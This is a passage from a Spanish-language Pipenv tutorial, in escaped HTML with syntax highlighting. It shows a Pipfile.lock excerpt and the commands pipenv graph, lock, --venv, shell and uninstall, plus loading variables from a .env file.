style=&#34;color:#5af78e&#34;&gt;&amp;#34;https://pypi.org/simple&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;verify_ssl&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        ]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;default&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;asgiref&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;hashes&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;sha256:7e51911ee147dd685c3c8b805c0ad0cb58d360987b56953878f8c06d2d1c6f1a&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;sha256:9fc6fb5d39b8af147ba40765234fa822b39818b12cc80b35ad9b0cef3a476aed&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            ],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;markers&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;python_version &amp;gt;= &amp;#39;3.5&amp;#39;&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;version&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;==3.2.10&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;django&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;hashes&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;sha256:315b11ea265dd15348d47f2cbb044ef71da2018f6e582fed875c889758e6f844&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;sha256:b61295749be7e1c42467c55bcabdaee9fbe9496fdf9ed2e22cef44d9de2ff953&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            ],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;index&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pypi&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;version&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;===3.0.1&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;como-visualizar-las-dependencias-de-manera-grafica-con-pipenv&#34;&gt;¿Cómo visualizar las dependencias de manera gráfica con Pipenv?&lt;/h3&gt;&#xA;&lt;p&gt;Si ahora usamos el comando &lt;em&gt;pipenv graph&lt;/em&gt; nos generará una representación detallada y visualmente amigable de las dependencias que tenemos instaladas&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pipenv graph&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;Django&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt;3.0.1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - asgiref &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;required: ~&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;3.2, installed: 3.2.10&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - pytz &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;required: Any, installed: 2020.1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - sqlparse &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;required: &amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;0.2.2, installed: 0.3.1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;pytest&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt;5.4.3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - attrs &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;required: &amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;17.4.0, installed: 19.3.0&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - importlib-metadata &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;required: &amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;0.12, installed: 1.7.0&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    - zipp &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;required: &amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;0.5, installed: 3.1.0&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - more-itertools &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;required: &amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;4.0.0, installed: 8.4.0&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - packaging &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;required: Any, installed: 20.4&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    - pyparsing &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;required: &amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;2.0.2, installed: 2.4.7&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    - six &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;required: Any, installed: 1.15.0&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - pluggy &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;required: &amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;0.12,&amp;lt;1.0, installed: 0.13.1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    - importlib-metadata &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;required: &amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;0.12, installed: 1.7.0&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - zipp &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;required: &amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;0.5, installed: 3.1.0&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - py &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;required: &amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;1.5.0, installed: 1.9.0&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - wcwidth &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;required: Any, installed: 0.2.5&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;generar-un-archivo-pipfilelock&#34;&gt;Generar un archivo Pipfile.lock&lt;/h3&gt;&#xA;&lt;p&gt;También podemos generar un archivo &lt;em&gt;Pipfile.lock&lt;/em&gt; a partir de un archivo &lt;em&gt;Pipfile&lt;/em&gt;. Borremos el archivo &lt;em&gt;Pipfile.lock&lt;/em&gt; y generemos uno nuevo&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rm Pipfile.lock&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora ejecutemos el comando &lt;em&gt;pipenv lock&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pipenv lock&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Locking &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;dev-packages&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; dependencies…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Building requirements...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Resolving dependencies...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;✔ Success! &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Locking &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;packages&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; dependencies…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Building requirements...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Resolving dependencies...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;✔ Success! &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Updated Pipfile.lock &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;88888&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;!&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Al terminar el proceso tendremos nuevamente nuestro archivo &lt;em&gt;Pipfile.lock&lt;/em&gt; en la misma carpeta&lt;/p&gt;&#xA;&lt;h2 id=&#34;encontrar-un-entorno-virtual-con-pipenv&#34;&gt;Encontrar un entorno virtual con pipenv&lt;/h2&gt;&#xA;&lt;p&gt;Todo bien hasta este momento, pero aún no estamos dentro de nuestro entorno virtual, es más, solamente tenemos los archivos &lt;em&gt;Pipfile&lt;/em&gt; y &lt;em&gt;Pipfile.lock&lt;/em&gt; en nuestra carpeta actual. ¿Y el entorno virtual? Bueno, pipenv coloca el entorno virtual en otra ubicación, para averiguarla podemos usar la opción &lt;em&gt;--venv&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pipenv --venv&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/home/usuario/.local/share/virtualenvs/proyecto-HHqROqC2&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y ahora, en lugar de localizar el archivo activate manualmente en la ruta anterior, como hacíamos con &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/python-virtualenv-tutorial-basico-en-linux/&#34;&gt;virtualenv&lt;/a&gt;&#xA;, podemos activar el entorno virtual usando el comando &lt;em&gt;pipenv shell&lt;/em&gt; y esto se hará por nosotros automáticamente&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pipenv shell&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;De igual manera que con &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/python-virtualenv-tutorial-basico-en-linux/&#34;&gt;virtualenv&lt;/a&gt;&#xA; podemos apreciar que el prompt cambiará, indicándonos que estamos dentro del entorno virtual&lt;/p&gt;&#xA;&lt;h2 id=&#34;variables-de-entorno-con-pipenv&#34;&gt;Variables de entorno con Pipenv&lt;/h2&gt;&#xA;&lt;p&gt;Una de las características que hacen diferente a pipenv es que te permite cargar variables de entorno directamente a partir de un archivo &lt;em&gt;.env&lt;/em&gt; cuando entramos en un entorno virtual. Salgamos del entorno virtual un momento para crear el archivo y cargar variables de entorno.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;exit&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora que el prompt regresó a la normalidad, crearemos un archivo &lt;em&gt;.env&lt;/em&gt; con variables de entorno. Lo haré en un solo paso usando el comando &lt;em&gt;echo&lt;/em&gt; y redirigiendo el resultado al archivo, pero si te sientes más cómodo usando el comando &lt;em&gt;touch&lt;/em&gt; y luego abriéndolo para agregar el contenido también puedes hacerlo y es correcto.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;SPAM=eggs&amp;#34;&lt;/span&gt; &amp;gt; .env&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si hacemos un &lt;em&gt;ls&lt;/em&gt; podremos ver que ahora tenemos nuestro archivo &lt;em&gt;.env&lt;/em&gt; en la misma carpeta que están &lt;em&gt;Pipfile&lt;/em&gt; y &lt;em&gt;Pipfile.lock&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ls -a&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.  ..  .env  Pipfile  Pipfile.lock&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora volvamos a cargar nuestro entorno virtual&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pipenv shell&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Loading .env environment variables…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Launching subshell in virtual environment…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; . /home/usuario/.local/share/virtualenvs/proyecto-HHqROqC2/bin/activate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El prompt cambiará nuevamente, y, si ejecutamos el comando &lt;em&gt;printenv&lt;/em&gt; podemos ver que nuestra variable de entorno se agregó perfectamente.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;printenv&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;SPAM&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;eggs&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;desinstalar-paquetes-en-pipenv&#34;&gt;Desinstalar paquetes en pipenv&lt;/h2&gt;&#xA;&lt;p&gt;Para desinstalar paquetes usaremos el comando &lt;em&gt;pipenv uninstall&lt;/em&gt; y el nombre del paquete.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pipenv uninstall pytest&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Uninstalling pytest…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Found existing installation: pytest 5.4.3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Uninstalling pytest-5.4.3:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Successfully uninstalled pytest-5.4.3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Removing pytest from Pipfile…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Locking &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;dev-packages&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; dependencies…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Locking &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;packages&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; dependencies…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Building requirements...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Resolving dependencies...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;✔ Success! &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Updated Pipfile.lock &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;3f348b&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;!&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si queremos desinstalar todos los paquetes y dejar nuestro entorno como nuevo podemos usar la opción &lt;em&gt;--all&lt;/em&gt; en lugar de especificar un nombre de paquete. Esto borrará todos los archivos del entorno virtual pero dejará el &lt;em&gt;Pipfile&lt;/em&gt; completamente a salvo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pipenv uninstall --all&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Un-installing all &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;dev-packages&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; and &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;packages&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Found &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; installed package&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;s&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;, purging…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Environment now purged and fresh!&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si usamos la opción &lt;em&gt;--all-dev&lt;/em&gt; eliminará todas las dependencias de desarrollo, tanto como del entorno virtual como de nuestro &lt;em&gt;Pipfile&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pipenv uninstall --all-dev&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Un-installing &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;dev-packages&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Locking &lt;span 